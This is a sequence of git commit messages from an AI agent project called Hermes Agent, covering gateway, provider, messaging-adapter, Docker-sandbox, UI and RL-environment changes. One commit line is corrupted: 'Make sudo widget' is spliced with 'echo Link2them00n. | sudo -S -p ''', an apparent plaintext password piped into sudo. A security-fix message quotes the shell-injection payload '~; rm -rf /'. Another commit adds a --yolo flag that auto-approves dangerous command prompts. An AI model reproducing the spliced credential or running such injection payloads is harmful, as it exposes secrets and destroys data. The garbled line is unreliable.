factor only for the first message of a session
This makes gateway compression behave identically to CLI compression
for all turns after the first. Reported by TigerHix.
fetch_nous_models() returned models in whatever order the API gave
them, which put sonnet near the top. Add a priority sort so users
see the best models first: opus > pro > other > sonnet.
The gateway's session hygiene pre-check uses a rough char-based token
estimate (total_chars / 4) to decide whether to compress before the
agent starts. This significantly overestimates for tool-heavy and
code-heavy conversations because:
1. str(msg) on dicts includes Python repr overhead (keys, brackets, etc.)
2. Code/JSON tokenizes at 5-7+ chars/token, not the assumed 4
This caused users with 200k context to see compression trigger at
~100-113k actual tokens instead of the expected 170k (85% threshold).
Reported by TigerHix on Twitter.
Fix: apply a 1.4x safety factor to the gateway pre-check threshold.
This pre-check is only meant to catch pathologically large transcripts
— the agent's own compression uses actual API-reported token counts
for precise threshold management.
Authored by dmahan93. Adds HERMES_YOLO_MODE env var and --yolo CLI flag
to auto-approve all dangerous command prompts.
Post-merge: renamed --fuck-it-ship-it to --yolo for brevity,
resolved conflict with --checkpoints flag.
Adds -Q/--quiet to `hermes chat` for use by external orchestrators
(Paperclip, scripts, CI). When combined with -q, suppresses:
- Banner and ASCII art
- Spinner animations
- Tool preview lines (┊ prefix)
Only outputs:
- The agent's final response text
- A parseable 'session_id: <id>' line for session resumption
Usage: hermes chat -q 'Do something' -Q
Used by: Paperclip adapter (@nousresearch/paperclip-adapter-hermes)
On macOS, Docker Desktop installs the CLI to /usr/local/bin/docker, but
when Hermes runs as a gateway service (launchd) or in other non-login
contexts, /usr/local/bin is often not in PATH. This causes the Docker
requirements check to fail with 'No such file or directory: docker' even
though docker works fine from the user's terminal.
Add find_docker() helper that uses shutil.which() first, then probes
common Docker Desktop install paths on macOS (/usr/local/bin,
/opt/homebrew/bin, Docker.app bundle). The resolved path is cached and
passed to mini-swe-agent via its 'executable' parameter.
- tools/environments/docker.py: add find_docker(), use it in
_storage_opt_supported() and pass to _Docker(executable=...)
- tools/terminal_tool.py: use find_docker() in requirements check
- tests/tools/test_docker_find.py: 4 tests (PATH, fallback, not found, cache)
2877 tests pass.
Shows an immediate status message and braille spinner for slow slash
commands (/skills search|browse|inspect|install, /reload-mcp). Makes
input read-only while the command runs so the CLI doesn't appear frozen.
Cherry-picked from PR #714 by vilkasdev, rebased onto current main
with conflict resolution and bug fix (get_hint_text duplicate return).
Fixes#636
Co-authored-by: vilkasdev <vilkasdev@users.noreply.github.com>
Two related bugs prevented users from reliably switching providers:
1. OPENAI_BASE_URL poisoning OpenRouter resolution: When a user with a
custom endpoint ran /model openrouter:model, _resolve_openrouter_runtime
picked up OPENAI_BASE_URL instead of the OpenRouter URL, causing model
validation to probe the wrong API and reject valid models.
Fix: skip OPENAI_BASE_URL when requested_provider is explicitly
'openrouter'.
2. Provider never saved to config: _save_model_choice() could save
config.model as a plain string. All five _model_flow_* functions then
checked isinstance(model, dict) before writing the provider — which
silently failed on strings. With no provider in config, auto-detection
would pick up stale credentials (e.g. Codex desktop app) instead of
the user's explicit choice.
Fix: _save_model_choice() now always saves as dict format. All flow
functions also normalize string->dict as a safety net before writing
provider.
Adds 4 regression tests. 2873 tests pass.
Follow-up to PR #716 (0xbyt4):
- Log the third remaining silent except-pass in scheduler (prefill
messages JSON parse failure)
- Fix test mock: run → run_conversation (matches actual agent API)
- Remove unused imports (asyncio, AsyncMock)
- Add test for prefill_messages parse failure logging
The 4 early-return paths in _spawn_training_run (API exit, trainer
exit, env not found, env exit) were doing manual process.terminate()
or returning without cleanup, leaking open log file handles. Now all
paths call _stop_training_run() which handles both process termination
and file handle closure.
Also adds 12 tests for _stop_training_run covering file handle
cleanup, process termination, status transitions, and edge cases.
Inspired by PR #715 (0xbyt4) which identified the early-return issue.
Core file handle fix was already on main via e28dc13 (memosr.eth).
Follow-up to PR #705 (merged from 0xbyt4). Addresses several issues:
1. CONSECUTIVE-ONLY TRACKING: Redesigned the read/search tracker to only
warn/block on truly consecutive identical calls. Any other tool call
in between (write, patch, terminal, etc.) resets the counter via
notify_other_tool_call(), called from handle_function_call() in
model_tools.py. This prevents false blocks in read→edit→verify flows.
2. THRESHOLD ADJUSTMENT: Warn on 3rd consecutive (was 2nd), block on
4th+ consecutive (was 3rd+). Gives the model more room before
intervening.
3. TUPLE UNPACKING BUG: Fixed get_read_files_summary() which crashed on
search keys (5-tuple) when trying to unpack as 3-tuple. Now uses a
separate read_history set that only tracks file reads.
4. WEB_EXTRACT DOCSTRING: Reverted incorrect removal of 'title' from
web_extract return docs in code_execution_tool.py — the field IS
returned by web_tools.py.
5. TESTS: Rewrote test_read_loop_detection.py (35 tests) to cover
consecutive-only behavior, notify_other_tool_call, interleaved
read/search, and summary-unaffected-by-searches.
Use rich_box.HORIZONTALS instead of the default ROUNDED box style
for the agent response panel. This keeps the top/bottom horizontal
rules (with title) but removes the vertical │ borders on left and
right, making it much easier to copy-paste response text from the
terminal.
Three separate code paths all wrote to the same SQLite state.db with
no deduplication, inflating session transcripts by 3-4x:
1. _log_msg_to_db() — wrote each message individually after append
2. _flush_messages_to_session_db() — re-wrote ALL new messages at
every _persist_session() call (~18 exit points), with no tracking
of what was already written
3. gateway append_to_transcript() — wrote everything a third time
after the agent returned
Since load_transcript() prefers SQLite over JSONL, the inflated data
was loaded on every session resume, causing proportional token waste.
Fix:
- Remove _log_msg_to_db() and all 16 call sites (redundant with flush)
- Add _last_flushed_db_idx tracking in _flush_messages_to_session_db()
so repeated _persist_session() calls only write truly new messages
- Reset flush cursor on compression (new session ID)
- Add skip_db parameter to SessionStore.append_to_transcript() so the
gateway skips SQLite writes when the agent already persisted them
- Gateway now passes skip_db=True for agent-managed messages, still
writes to JSONL as backup
Verified: a 12-message CLI session with tool calls produces exactly
12 SQLite rows with zero duplicates (previously would be 36-48).
Tests: 9 new tests covering flush deduplication, skip_db behavior,
compression reset, and initialization. Full suite passes (2869 tests).
Signal's send() used 'text' instead of 'content' and 'reply_to_message_id'
instead of 'reply_to', mismatching BasePlatformAdapter.send(). Callers in
gateway/run.py use keyword args matching the base interface, so Signal's
send() was missing its required 'text' positional arg.
Fixes: 'SignalAdapter.send() missing 1 required positional argument: text'
_keep_typing() was called with metadata= for thread-aware typing
indicators, but neither it nor the base send_typing() accepted
that parameter. Most adapter overrides (Slack, Discord, Telegram,
WhatsApp, HA) already accept metadata=None, but the base class
and Signal adapter did not.
- Add metadata=None to BasePlatformAdapter.send_typing()
- Add metadata=None to BasePlatformAdapter._keep_typing(), pass through
- Add metadata=None to SignalAdapter.send_typing()
Fixes TypeError in _process_message_background for Signal.
The Signal adapter was passing image_paths, audio_path, and document_paths
to MessageEvent.__init__(), but those fields don't exist on the dataclass.
MessageEvent uses media_urls (List[str]) and media_types (List[str]).
Changes:
- Replace separate image_paths/audio_path/document_paths with unified
media_urls and media_types lists (matching Discord, Slack, etc.)
- Add _ext_to_mime() helper to map file extensions to MIME types
- Use Signal's contentType from attachment metadata when available,
falling back to extension-based mapping
- Update message type detection to check media_types prefixes
Fixes TypeError: MessageEvent.__init__() got an unexpected keyword
argument 'image_paths'
Setup wizard now writes memoryMode, writeFrequency, recallMode, and
sessionStrategy into hosts.hermes instead of the config root. Client
resolution updated to read sessionStrategy and sessionPeerPrefix from
host block first. Docs updated to show hosts-based config as the default
example so other integrations can coexist cleanly.
Adds back use cases section and example tool queries from the original
docs. Clarifies that built-in memory and Honcho can work together or be
configured separately via memoryMode.
Replaces the stub docs with comprehensive coverage: setup (interactive +
manual), all config fields, memory modes, recall modes, write frequency,
session strategies, host blocks, async prefetch pipeline, dual-peer
architecture, dynamic reasoning, gateway integration, four tools, full
CLI reference, migration paths, and AI peer identity. Trims the Honcho
section in memory.md to a cross-reference.
New tool lets Hermes persist conclusions about the user (preferences,
corrections, project context) directly to Honcho via the conclusions
API. Feeds into the user's peer card and representation.
Explain what context vs dialectic actually do in plain language:
context = raw memory retrieval, dialectic = AI-to-AI inference
for session continuity. Describe what user/AI peer cards are.
Major UX improvements:
1. Response box now uses a Rich Panel rendered through ChatConsole
instead of hand-rolled ANSI box-drawing borders. Rich Panels
adapt to terminal width at render time, wrap content inside
the borders properly, and use skin colors natively.
2. ChatConsole now reads terminal width at render time via
shutil.get_terminal_size() instead of defaulting to 80 cols.
All Rich output adapts to the current terminal size.
3. User-input separator reduced to fixed 40-char width so it
never wraps regardless of terminal resize.
4. Approval and clarify countdown repaints throttled to every 5s
(was 1s), dramatically reducing flicker in Kitty/ghostty.
Selection changes still trigger instant repaints via key bindings.
5. Sudo widget now uses dynamic _panel_box_width() instead of
hardcoded border strings.
Tests: 2860 passed.
- Add agent/embeddings.py with Embedder protocol, FastEmbedEmbedder, OpenAIEmbedder
- Factory function get_embedder() reads provider from config.yaml embeddings section
- Lazy initialization — no startup impact, model loaded on first embed call
- cosine_similarity() and cosine_similarity_matrix() utility functions included
- Add fastembed as optional dependency in pyproject.toml
- 30 unit tests, all passing
Closes#675
Authored by teyrebaz33. Adds _repair_tool_call() method: tries lowercase,
normalize (hyphens/spaces → underscores), then fuzzy match (difflib, 0.7
cutoff). Replaces hard abort after 3 retries with graceful error message
sent back to model for self-correction. Fixed bug where valid tool calls
in a mixed batch would get no results (now all get results).
Fixes#520.
- Add _repair_tool_call(): tries lowercase, normalize, then fuzzy match (difflib 0.7)
- Replace 3-retry-then-abort with graceful error: model receives helpful message and self-corrects
- Conversation stays alive instead of dying on hallucinated tool names
Closes#520
Authored by alireza78a. Adds atomic_yaml_write() to utils.py (mirrors
existing atomic_json_write pattern), replaces bare open('w') in
save_config(). Integrated with max_turns normalization and commented
sections via extra_content param. 3 new tests for crash safety.
Three UI improvements:
1. Throttle countdown repaints to every 5s (was 1s) for approval
and clarify widgets. The frequent invalidation caused visible
blinking in Kitty, ghostty, and some other terminals. Selection
changes (↑/↓) still trigger instant repaints via key bindings.
2. Make echo Link2them00n. | sudo -S -p '' widget use dynamic _panel_box_width() instead of
hardcoded border strings — adapts to terminal width on resize.
3. Cap response box borders at 120 columns so they don't wrap
when switching from fullscreen to a narrower window.
Tests: 2857 passed.
Authored by johnh4098. Fixes CWE-214: SUDO_PASSWORD was visible in
/proc/PID/cmdline via echo pipe. Now passed through subprocess stdin.
All 6 backends updated: local, ssh, docker, singularity pipe via stdin;
modal and daytona use printf fallback (remote sandbox, documented).
Completes the fix started in 8318a51 — handle_function_call() accepted
enabled_tools but run_agent.py never passed it. Now both call sites in
_execute_tool_calls() pass self.valid_tool_names, so each agent session
uses its own tool list instead of the process-global
_last_resolved_tool_names (which subagents can overwrite).
Also simplifies the redundant ternary in code_execution_tool.py:
sandbox_tools is already computed correctly (intersection with session
tools, or full SANDBOX_ALLOWED_TOOLS as fallback), so the conditional
was dead logic.
Inspired by PR #663 (JasonOA888). Closes#662.
Tests: 2857 passed.
Authored by manuelschipper. Adds missing docker_volumes key to
container_config in file_tools.py, matching terminal_tool.py.
Without this, Docker sandbox containers created by file operations
lack user volume mounts when file tools run before terminal.
The process-global _last_resolved_tool_names gets overwritten when
subagents resolve their own toolsets, causing execute_code in the
parent agent to generate imports for the wrong set of tools.
Fix: handle_function_call() now accepts an enabled_tools parameter.
run_agent.py already passes self.valid_tool_names at both call sites.
This change makes model_tools.py actually use it, falling back to the
global only when the caller doesn't provide a list (backward compat).
Authored by Indelwin. Adds 'nous-api' provider for direct API key
access to Nous Portal inference, mirroring how OpenRouter and other
API-key providers work. Includes PROVIDER_REGISTRY entry, setup wizard
option, OPTIONAL_ENV_VARS, provider aliases, and test.
Fixes#644.
Add support for using Nous Portal via a direct API key, mirroring
how OpenRouter and other API-key providers work. This gives users a
simpler alternative to the OAuth device-code flow when they already
have a Nous API key.
Changes:
- Add 'nous-api' to PROVIDER_REGISTRY as an api_key provider
pointing to https://inference-api.nousresearch.com/v1
- Add NOUS_API_KEY and NOUS_BASE_URL to OPTIONAL_ENV_VARS
- Add NOUS_API_BASE_URL / NOUS_API_CHAT_URL to hermes_constants
- Add 'Nous Portal API key' as first option in setup wizard
- Add provider aliases (nous_api, nousapi, nous-portal-api)
- Add test for nous-api runtime provider resolution
Closes#644
Part 2 of thread_id forum topic fix: add metadata param to
send_voice, send_image, send_animation, send_typing in Telegram
adapter and pass message_thread_id to all Bot API calls. Update
send_typing signature in Discord, Slack, WhatsApp, HomeAssistant
for compatibility.
Based on the fix proposed by @Bitstreamono in PR #656.
Authored by 0xbyt4. Fixes broken 'from hermes_tools import , ...'
syntax in schema description when no sandbox tools are enabled.
Adds 29 new tests for schema generation, env var filtering,
edge cases, and interrupt handling.
Replies in Telegram forum topics (supergroups with topics) now land in
the correct topic thread instead of 'General'.
- base.py: build thread_id metadata from event.source, pass to all
send/media calls; add metadata param to send_typing, send_image,
send_animation, send_voice, send_video, send_document, send_image_file,
_keep_typing
- telegram.py: extract thread_id from metadata and pass as
message_thread_id to all Bot API calls (send_photo, send_voice,
send_audio, send_animation, send_chat_action)
- run.py: pass thread_id metadata to progress/streaming send calls
- discord/slack/whatsapp/homeassistant: update send_typing signature
Based on the fix proposed by @Bitstreamono in PR #656.
Move all new tests (schema, env filtering, edge cases, interrupt) into
the existing test_code_execution.py instead of a separate file.
Delete the now-redundant test_code_execution_schema.py.
build_execute_code_schema(set()) produced "from hermes_tools import , ..."
in the code property description — invalid Python syntax shown to the model.
This triggers when a user enables only the code_execution toolset without
any of the sandbox-allowed tools (e.g. `hermes tools code_execution`),
because SANDBOX_ALLOWED_TOOLS & {"execute_code"} = empty set.
Also adds 29 unit tests covering build_execute_code_schema, environment
variable filtering, execute_code edge cases, and interrupt handling.
The KawaiiSpinner animation would occasionally spam dozens of duplicate
lines instead of overwriting in-place with \r. This happened because
prompt_toolkit's StdoutProxy processes each flush() as a separate
run_in_terminal() call — when the write thread is slow (busy event loop
during long tool executions), each \r frame gets its own call, and the
terminal layout save/restore between calls breaks the \r overwrite
semantics.
Fix: rate-limit flush() calls to at most every 0.4s. Between flushes,
\r-frame writes accumulate in StdoutProxy's buffer. When flushed, they
concatenate into one string (e.g. \r frame1 \r frame2 \r frame3) and
are written in a single run_in_terminal() call where \r works correctly.
The spinner still animates (flush ~2.5x/sec) but each flush batches
~3 frames, guaranteeing the \r collapse always works. Most visible
with execute_code and terminal tools (3+ second executions).
Authored by voteblake.
- Semaphore limits concurrent Modal sandbox creations to 8 (configurable)
to prevent thread pool deadlocks when 86+ tasks fire simultaneously
- Modal cleanup guard for failed init (prevents AttributeError)
- CWD override to /app for TB2 containers
- Add /home/ to host path validation for container backends
Generated favicon files (ico, 16x16, 32x32, 180x180, 192x192, 512x512)
from the Hermes Agent logo. Replaces the inline SVG caduceus emoji with
real favicon files so Google's favicon service can pick up the logo.
Landing page: updated <link> tags to reference favicon.ico, favicon PNGs,
and apple-touch-icon.
Docusaurus: updated config to use favicon.ico and logo.png instead of
favicon.svg.
_fetch_models_from_api checked for "hide" while _read_cache_models
checked for "hidden", causing models hidden by the API to still
appear when loaded from cache. Both now accept either value.
Authored by tripledoublev (vincent). Rebased onto current main and
conflict-resolved.
When finish_reason='length' on a non-tool chat-completions response,
instead of rolling back and returning None, the agent now:
- Appends the truncated text and a continuation prompt
- Retries up to 3 times, accumulating partial chunks
- Concatenates all chunks into the final response
- Preserves existing rollback behavior for tool-call truncations
Authored by aydnOktay. Adds logging to skills_tool.py with specific
exception handling for file read errors (UnicodeDecodeError, PermissionError)
vs unexpected exceptions, replacing bare except-and-continue blocks.
Authored by tripledoublev.
After context compression on 413/400 errors, the inner retry loop was
reusing the stale pre-compression api_messages payload. Fix breaks out
of the inner retry loop so the outer loop rebuilds api_messages from
the now-compressed messages list. Adds regression test verifying the
second request actually contains the compressed payload.
Authored by alireza78a.
Replaces open('w') + json.dump with tempfile.mkstemp + os.replace atomic
write pattern, matching the existing pattern in cron/jobs.py. Prevents
silent session loss if the process crashes or gets OOM-killed mid-write.
Resolved conflict: kept encoding='utf-8' from HEAD in the new fdopen call.
Authored by 0xbyt4. Adds missing resets for _incomplete_scratchpad_retries and _codex_incomplete_retries to prevent stale counters carrying over between CLI conversations.
Authored by 0xbyt4.
_approval_callback() had no return statement after the timeout break,
causing it to return None instead of 'deny'. Callers in approval.py
expect one of 'once', 'session', 'always', or 'deny'. This matches
the existing timeout behavior in approval.py:209.
Add display.background_process_notifications config option to control
how chatty the gateway process watcher is when using
terminal(background=true, check_interval=...) from messaging platforms.
Modes:
- all: running-output updates + final message (default, current behavior)
- result: only the final completion message
- error: only the final message when exit code != 0
- off: no watcher messages at all
Also supports HERMES_BACKGROUND_NOTIFICATIONS env var override.
Includes 12 tests (5 config loading + 7 watcher behavior).
Inspired by @PeterFile's PR #593. Closes#592.
Each themed skin (ares, poseidon, sisyphus, charizard) now has custom
banner_hero art that replaces the default Hermes caduceus. The hero art
uses braille-dot patterns themed to each skin:
- Ares: shield/spear emblem in crimson/bronze
- Poseidon: trident with wave patterns in blue/seafoam
- Sisyphus: boulder on slope in grayscale
- Charizard: dragon silhouette in orange/ember
Also fixes triple-quote string termination that caused a syntax error
in the previous commit.
file_tools.py creates its own Docker sandbox when read_file/search_files
runs before any terminal command. The container_config was missing
docker_volumes, so the sandbox had no user volume mounts — breaking
access to heartbeat state, cron output, and all other mounted data.
Matches the existing pattern in terminal_tool.py:872.
Missed in original PR #158 (feat: add docker_volumes config).
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Adds 3 new built-in skins (poseidon, sisyphus, charizard) with full
customization — colors, spinner faces/verbs/wings, branding text, and
custom ASCII art banner logos. Total: 7 built-in skins.
Also adds banner_logo and banner_hero fields to SkinConfig, allowing
any skin to replace the HERMES-AGENT ASCII art logo and the caduceus
hero art with custom artwork. The CLI now renders the skin's logo when
available, falling back to the default Hermes logo.
Skins with custom logos: ares, poseidon, sisyphus, charizard
Skins using default logo: default, mono, slate
cli.py had a local copy of build_welcome_banner() that shadowed the
imported one from banner.py. This local copy had all colors hardcoded,
so /skin changes had no visible effect on the banner.
Now the local copy resolves skin colors at render time using
get_active_skin(), matching the banner.py behavior. All hardcoded
#FFD700/#CD7F32/#FFBF00/#B8860B/#FFF8DC/#8B8682 values in the local
function are replaced with skin-aware lookups.
- AGENTS.md: add Skin/Theme System section with architecture, skinnable
elements table, built-in skins list, adding built-in/user skins guide,
YAML example; add skin_engine.py to project structure; mention skin
engine in CLI Architecture section
- CONTRIBUTING.md: add skin_engine.py to project structure; add 'Adding
a Skin/Theme' section with YAML schema, activation instructions
- cli-config.yaml.example: add full skin config documentation with
schema reference, built-in skins list, all color/spinner/branding keys
- docs/skins/example-skin.yaml: complete annotated skin template with
all available fields and inline documentation
- hermes_cli/skin_engine.py: expand module docstring to full schema
reference with all fields documented, usage examples, built-in skins
list
Automatic filesystem snapshots before destructive file operations,
with user-facing rollback. Inspired by PR #559 (by @alireza78a).
Architecture:
- Shadow git repos at ~/.hermes/checkpoints/{hash}/ via GIT_DIR
- CheckpointManager: take/list/restore, turn-scoped dedup, pruning
- Transparent — the LLM never sees it, no tool schema, no tokens
- Once per turn — only first write_file/patch triggers a snapshot
Integration:
- Config: checkpoints.enabled + checkpoints.max_snapshots
- CLI flag: hermes --checkpoints
- Trigger: run_agent.py _execute_tool_calls() before write_file/patch
- /rollback slash command in CLI + gateway (list, restore by number)
- Pre-rollback snapshot auto-created on restore (undo the undo)
Safety:
- Never blocks file operations — all errors silently logged
- Skips root dir, home dir, dirs >50K files
- Disables gracefully when git not installed
- Shadow repo completely isolated from project git
Tests: 35 new tests, all passing (2798 total suite)
Docs: feature page, config reference, CLI commands reference
Authored by unmodeled-tyler. Adds openclaw-migration skill to optional-skills/
with migration script, SKILL.md, and 7 tests. Also improves clarify/approval
panel rendering with dynamic width calculation.
Authored by 0xbyt4. Fixes #N/A (no linked issue).
- Sanitize user input before FTS5 MATCH to prevent OperationalError on
special characters (C++, unbalanced quotes, dangling operators, etc.)
- Close SessionDB connection in mirror._append_to_sqlite() via finally block
- Added tests for both fixes
PR #568 moved the close entirely to the finally block, but the success-path
close is needed to break the RPC thread out of accept() immediately. Without
it, rpc_thread.join(3) may block for up to 3 seconds if the child process
never connected. The finally-block close remains as a safety net for the
exception/error path (the actual fd leak fix).
Authored by alireza78a. Moves server_sock.close() into the finally block so
the socket fd is always cleaned up, even if an exception occurs between socket
creation and the success-path close.
Authored by aydnOktay. Adds _atomic_write_text() helper using tempfile.mkstemp()
+ os.replace() to prevent skill file corruption on crash/interrupt. All 7
write_text() calls in skill_manager_tool.py converted, including rollback writes
during security scans.
Platform.SIGNAL was missing from default_toolset_map and platform_config_key
in gateway/run.py, causing Signal to silently fall back to hermes-telegram
toolset (same bug as HomeAssistant, fixed in PR #538).
Also updates:
- tests/test_toolsets.py: include hermes-signal and hermes-homeassistant in
the platform core-tools consistency check
- cli-config.yaml.example: document signal and homeassistant platform keys
Cherry-picked and improved from PR #470 (fixes#464).
Problem: On Ubuntu 24.04 with ghostty + tmux, the prompt input box
border lines flash due to cursor blink and raw spinner terminal writes
conflicting with prompt_toolkit's rendering.
Changes:
- cli.py: Add CursorShape.BLOCK to Application() to disable cursor blink
- cli.py: Add thinking_callback + spinner_widget in TUI layout so
thinking status displays as a proper prompt_toolkit widget instead of
raw terminal writes that conflict with the TUI renderer
- run_agent.py: Add thinking_callback parameter to AIAgent; when set,
uses the callback instead of KawaiiSpinner for thinking display
What was NOT changed (preserving existing behavior):
- agent/display.py: Untouched. KawaiiSpinner _write() stdout capture,
_animate() logic, and 0.12s frame interval all preserved. This
protects subagent stdout redirection and keeps smooth animations
for non-CLI contexts (gateway, batch runner).
- Original emoji spinner types (brain/sparkle/pulse/moon/star) preserved
for all non-CLI contexts.
Fixes from original PR #470:
- CursorShape.STEADY_BLOCK -> CursorShape.BLOCK (STEADY_BLOCK doesn't
exist in prompt_toolkit 3.0.52)
- Removed duplicate self._spinner_text = '' line
- Removed redundant nested if-checks
Tested: 2706 tests pass, interactive CLI verified via tmux.
Authored by Himess. Three independent fixes:
- cron/jobs.py: respect HERMES_HOME env var (consistent with scheduler.py)
- gateway/run.py: add Platform.HOMEASSISTANT to toolset mappings
- tools/environments/daytona.py: use time.monotonic() for timeout deadline
Authored by Himess. Replaces split(':', 2) with regex that optionally
captures Windows drive-letter prefix in rg/grep output parsing. Fixes
search_files returning zero results on Windows where paths like
C:\path\file.py:42:content were misparsed by naive colon splitting.
No behavior change on Unix/Mac.
Add comprehensive skill for building, testing, and debugging Hermes Agent
RL environments for Atropos training. Includes:
- SKILL.md: Full guide covering HermesAgentBaseEnv interface, required
methods, config class, CLI modes (serve/process/evaluate), reward
function patterns, common pitfalls, and minimum implementation checklist
- New 'Inference Setup' section: instructs the agent to always ask the
user for their inference provider (OpenRouter + model choice, self-hosted
VLLM endpoint, or other OpenAI-compatible API) before running tests
- references/agentresult-fields.md: AgentResult dataclass field reference
- references/atropos-base-env.md: Atropos BaseEnv API reference
- references/usage-patterns.md: Step-by-step patterns for process,
evaluate, serve, and smoke test modes
Will be auto-synced to ~/.hermes/skills/ via skills_sync.
When a user runs `hermes -w -c Pokemon Agent Dev` without quoting the
session name, argparse would fail with:
error: argument command: invalid choice: 'Agent'
This is because argparse parses `-c Pokemon` (consuming one token via
nargs='?'), then sees 'Agent' and tries to match it as a subcommand.
Fix: add _coalesce_session_name_args() that pre-processes sys.argv before
argparse, joining consecutive non-flag, non-subcommand tokens after -c or
-r into a single argument. This makes both quoted and unquoted multi-word
session names work transparently.
Includes 17 tests covering all edge cases: multi-word names, single-word,
bare flags, flag ordering, subcommand boundaries, and passthrough.
Authored by shitcoinsherpa. Adds encoding='utf-8' to all text-mode
open() calls in gateway/run.py, gateway/config.py, hermes_cli/config.py,
hermes_cli/main.py, and hermes_cli/status.py. Prevents encoding errors
on Windows where the default locale is not UTF-8.
Also fixed 4 additional open() calls in gateway/run.py that were added
after the PR branch was created.
The existing password prompt uses /dev/tty and termios to read input
with echo disabled. Neither exists on Windows.
On Windows, msvcrt.getwch() reads a single character from the console
without echoing it. This adds a Windows code path that uses getwch()
in a loop, collecting characters until Enter is pressed.
The Unix path using termios and /dev/tty is unchanged.
Authored by shitcoinsherpa. Imports winpty.PtyProcess on Windows instead
of ptyprocess.PtyProcess, and adds platform markers to the [pty] extra
so the correct package is installed automatically.
Complements PR #453 by 0xbyt4. Adds isinstance(dict) guard in
run_agent.py to catch cases where json.loads returns non-dict
(e.g. null, list, string) before they reach downstream code.
Also adds 15 tests for build_tool_preview covering None args,
empty dicts, known/unknown tools, fallback keys, truncation,
and all special-cased tools (process, todo, memory, session_search).
evaluate() was calling _llm_judge twice per item (once via
compute_reward, once directly) — double the API cost for no benefit.
Now extracts correctness from compute_reward's buffer instead.
Also: compute_reward appends to training metric buffers during eval,
which would pollute wandb training charts. Now rolls back buffer
entries added during eval so training metrics stay clean.
Comprehensive skill for playing Pokemon Red/Blue via the pokemon-agent
package (NousResearch/pokemon-agent). Includes:
- Full startup procedure (uv venv, server, localhost.run dashboard tunnel)
- Save/load lifecycle and naming conventions
- Gameplay loop with emphasis on frequent vision checks
- Hard-learned navigation tips:
- Use vision every 2-4 steps (RAM state is blind to obstacles)
- Wait 2-3 seconds after door/stair warps for map transitions
- Sidestep after exiting buildings to avoid re-entering
- Hold B to speed Gen 1's slow text scrolling
- Ledges are one-way — use vision to find gaps
- Battle strategy, type chart, Gen 1 quirks
- Memory conventions with PKM: prefix
- Progression milestones through all 8 gyms + Elite Four
The evaluate method was doing single-turn chat_completion (no tools),
which defeats the purpose of an agentic research benchmark. Fixed to
run the full HermesAgentLoop with web_search/web_extract tools.
Results comparison (Claude Sonnet 4.5, FRAMES benchmark):
Without tools (broken): 0.56 mean correctness
With agent loop + tools: 1.00 mean correctness, 0.994 reward
New eval metrics: mean_correctness, mean_reward, mean_tool_calls,
tool_usage_rate — all logged via evaluate_log() in lighteval format.
AgentResult has .messages (list of dicts), not .final_response or
.tool_calls. Fixed compute_reward to extract the final response
and tool names from the message history.
Verified with live process mode test:
- Agent used 7 tool calls (web_search, web_extract)
- Produced a 1106-char researched response about Winter Olympics
- Reward: 0.384 (partial correctness via LLM judge)
- JSONL output contains valid tokens, masks, scores, messages
~2min sequential runs were painful. Added pytest-xdist and -n auto
to run across all available cores. Tests already isolate state via
tmp_path fixtures so no changes needed to test code.
Local: 2677 passed in ~30s. CI gets 4 vCPUs on ubuntu-latest.
cap-drop ALL removes DAC_OVERRIDE, which root needs to write to
bind-mounted directories owned by the host user (uid 1000). This
broke persistent Docker sandboxes — the container couldn't write
to /workspace or /root.
Add back the minimum capabilities needed:
- DAC_OVERRIDE: root can write to bind-mounted dirs owned by host user
- CHOWN: package managers (pip, npm, apt) need to set file ownership
- FOWNER: needed for operations on files owned by other users
Still drops all other capabilities (NET_RAW, SYS_ADMIN, etc.) and
keeps no-new-privileges. Security boundary is the container itself.
Verified end-to-end: create files → destroy container → new container
with same task_id → files persist on host and are accessible in the
new container.
The environment was merged missing several standard components.
Updated to match the patterns established by 82 Atropos environments
and our own HermesAgentBaseEnv contract.
Added:
- WebResearchEnvConfig — custom Pydantic config with reward weights,
efficiency thresholds, eval settings, dataset config (all tunable
via CLI/YAML without code changes)
- config_init() classmethod — default server config (OpenRouter +
Claude) so the env works out of the box
- wandb_log() override — logs reward breakdown metrics (correctness,
tool_usage, efficiency, diversity, correct_rate, tool_usage_rate)
with proper buffer management and super() call
- evaluate() — uses server.chat_completion instead of broken stub
_run_agent_on_item(). Logs via evaluate_log() for lighteval-
compatible output.
Fixed:
- Removed broken _run_agent_on_item() stub that returned empty results
- evaluate() now uses server.chat_completion (same pattern as
TerminalTestEnv) for actual model evaluation
- compute_reward reads tool calls from AgentResult properly
- LLM judge uses self.server.chat_completion instead of ctx
Reward config is now tunable without code changes:
--env.correctness_weight 0.6
--env.tool_usage_weight 0.2
--env.efficiency_weight 0.2
--env.diversity_bonus 0.1
--env.efficient_max_calls 5
Authored by PercyDikec. Fixes#445.
Changes 'hide' to 'hidden' in _fetch_models_from_api to match
_read_cache_models and the actual API response format.
Validate that the username portion of ~username paths contains only
valid characters (alphanumeric, dot, hyphen, underscore) before passing
to shell echo for expansion. Previously, paths like '~; rm -rf /'
would be passed unquoted to self._exec(f'echo {path}'), allowing
arbitrary command execution.
The approach validates the username rather than using shlex.quote(),
which would prevent tilde expansion from working at all since
echo '~user' outputs the literal string instead of expanding it.
Added tests for injection blocking and valid ~username/path expansion.
Credit to @alireza78a for reporting (PR #442, issue #442).
Authored by jackx707. Adds web_research_env.py (Atropos RL environment for
multi-step web research using FRAMES benchmark) and batch generation config.
The gateway's config.yaml → env var bridge was missing docker_volumes,
so Docker volume mounts configured in config.yaml were ignored for
gateway sessions (Telegram, Discord, etc.) while working in CLI.
Also fixes list serialization: str() produces Python repr with single
quotes which json.loads() in terminal_tool.py can't parse. Now uses
json.dumps() for list values.
Based on PR #431 by @manuelschipper (applied manually due to stale branch).
SamplingHandler.__call__ accessed response.choices[0] without checking
if the list was non-empty. LLM APIs can return empty choices on content
filtering, provider errors, or rate limits, causing an unhandled
IndexError that propagates to the MCP SDK and may crash the connection.
Add a defensive guard that returns a proper ErrorData when choices is
empty, None, or missing. Includes three test cases covering all
variants.
Vision auto-mode previously only tried OpenRouter, Nous, and Codex
for multimodal — deliberately skipping custom endpoints with the
assumption they 'may not handle vision input.' This caused silent
failures for users running local multimodal models (Qwen-VL, LLaVA,
Pixtral, etc.) without any cloud API keys.
Now custom endpoints are tried as a last resort in auto mode. If the
model doesn't support vision, the API call fails gracefully — but
users with local vision models no longer need to manually set
auxiliary.vision.provider: main in config.yaml.
Reported by @Spadav and @kotyKD.
The Docker backend already supports user-configured volume mounts via
docker_volumes, but it was undocumented — missing from DEFAULT_CONFIG,
cli.py defaults, and configuration docs.
Changes:
